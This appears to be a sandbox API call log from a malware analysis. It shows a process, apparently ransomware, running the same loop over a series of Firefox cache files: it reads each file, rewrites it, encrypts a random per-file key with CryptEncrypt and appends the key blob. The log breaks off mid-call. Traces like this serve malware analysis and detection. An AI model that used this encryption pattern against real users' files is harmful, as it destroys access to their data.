[0184.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ead70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ead70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.694] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ead70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ead70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.695] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.695] CloseHandle (hObject=0x1b80) returned 1 [0184.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e96c0 | out: pbBuffer=0x30e96c0) returned 1 [0184.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.698] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C48DF70BC4FC8DF627B3B46AE09DA5FC5FFE286D", dwFileAttributes=0x80) returned 1 [0184.698] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e9df8 [0184.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.699] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x15f4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x15f4, lpOverlapped=0x0) returned 1 [0184.707] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5620, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.707] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0e80*, nNumberOfBytesToWrite=0x15f4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0e80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15f4, lpOverlapped=0x0) returned 1 [0184.708] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15f4 [0184.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e96c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e96c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.708] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e96c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e96c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.709] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.709] CloseHandle (hObject=0x1b80) returned 1 [0184.710] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e93a8 | out: pbBuffer=0x30e93a8) returned 1 [0184.710] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0184.710] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C34295E06C2E3C7E0155AEF8ADE68423AA50A844", dwFileAttributes=0x80) returned 1 [0184.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e97c8 [0184.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.711] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0184.712] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.712] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0788*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0184.712] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xefa [0184.712] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.713] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e93a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e93a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.713] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e93a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e93a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.713] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.713] CloseHandle (hObject=0x1b80) returned 1 [0184.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e98d0 | out: pbBuffer=0x30e98d0) returned 1 [0184.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.715] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C3357B699A03D6C47624A0BC4184ED6E2B8D6443", dwFileAttributes=0x80) returned 1 [0184.715] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e99d8 [0184.716] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.716] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x3545, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x3545, lpOverlapped=0x0) returned 1 [0184.717] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-13637, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.717] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f2dd0*, nNumberOfBytesToWrite=0x3545, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f2dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3545, lpOverlapped=0x0) returned 1 [0184.717] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3545 [0184.717] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.717] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e98d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e98d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.717] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e98d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e98d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.718] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.718] CloseHandle (hObject=0x1b80) returned 1 [0184.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ead70 | out: pbBuffer=0x30ead70) returned 1 [0184.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0184.719] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C27D7A62FCB3822B15FE7A889EAC6EBCB8E81A80", dwFileAttributes=0x80) returned 1 [0184.720] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eae78 [0184.720] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.720] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x156d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x156d, lpOverlapped=0x0) returned 1 [0184.725] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5485, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.725] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0df8*, nNumberOfBytesToWrite=0x156d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0df8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x156d, lpOverlapped=0x0) returned 1 [0184.725] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x156d [0184.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ead70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ead70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.726] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ead70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ead70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.726] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.726] CloseHandle (hObject=0x1b80) returned 1 [0184.728] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e97c8 | out: pbBuffer=0x30e97c8) returned 1 [0184.729] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.729] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C17F8EF9C7C1D479AB4CF2451B11109A30A54952", dwFileAttributes=0x80) returned 1 [0184.729] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea950 [0184.729] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.729] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x21a0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x21a0, lpOverlapped=0x0) returned 1 [0184.735] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-8608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.735] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f1a28*, nNumberOfBytesToWrite=0x21a0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1a28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x21a0, lpOverlapped=0x0) returned 1 [0184.735] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x21a0 [0184.735] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.735] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e97c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e97c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.736] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e97c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e97c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.736] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.737] CloseHandle (hObject=0x1b80) returned 1 [0184.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea110 | out: pbBuffer=0x30ea110) returned 1 [0184.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0184.739] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C06845AD909EAE17C1959FCD298671A28AC2C0DC", dwFileAttributes=0x80) returned 1 [0184.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e9cf0 [0184.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.740] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xe27, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xe27, lpOverlapped=0x0) returned 1 [0184.746] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.746] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f06b0*, nNumberOfBytesToWrite=0xe27, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f06b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe27, lpOverlapped=0x0) returned 1 [0184.747] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe27 [0184.747] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.747] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ea110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ea110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.747] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ea110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ea110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.748] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.748] CloseHandle (hObject=0x1b80) returned 1 [0184.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9cf0 | out: pbBuffer=0x30e9cf0) returned 1 [0184.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.751] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C05DF2CAE557D2CE92AB1A963718191E60229A1D", dwFileAttributes=0x80) returned 1 [0184.752] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e96c0 [0184.752] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.752] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0184.753] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.753] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0780*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0780*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0184.754] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef4 [0184.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e9cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e9cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.754] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e9cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e9cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.755] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.755] CloseHandle (hObject=0x1b80) returned 1 [0184.757] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e94b0 | out: pbBuffer=0x30e94b0) returned 1 [0184.757] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.757] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BF285FC93CD6B2EBB6A656E52C5A19A2E729280E", dwFileAttributes=0x80) returned 1 [0184.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea950 [0184.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.758] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xb92, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xb92, lpOverlapped=0x0) returned 1 [0184.766] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.766] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0420*, nNumberOfBytesToWrite=0xb92, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb92, lpOverlapped=0x0) returned 1 [0184.767] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb92 [0184.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e94b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e94b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.767] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e94b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e94b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.768] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.768] CloseHandle (hObject=0x1b80) returned 1 [0184.769] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea740 | out: pbBuffer=0x30ea740) returned 1 [0184.769] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0184.769] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BEB7A412B644E3F7CBEF7C83255F2577FF08FA4A", dwFileAttributes=0x80) returned 1 [0184.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea848 [0184.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.770] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xa11, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xa11, lpOverlapped=0x0) returned 1 [0184.771] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2577, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.771] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f02a0*, nNumberOfBytesToWrite=0xa11, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f02a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa11, lpOverlapped=0x0) returned 1 [0184.771] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa11 [0184.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ea740*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ea740*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.772] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ea740*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ea740*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.772] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.772] CloseHandle (hObject=0x1b80) returned 1 [0184.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9ae0 | out: pbBuffer=0x30e9ae0) returned 1 [0184.774] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.774] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BE235F5BAB5719EEAD4CAD9AF1D0E3B082143D8C", dwFileAttributes=0x80) returned 1 [0184.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e9f00 [0184.774] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.774] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0184.785] SetFilePointer (in: hFile=0x1b80, 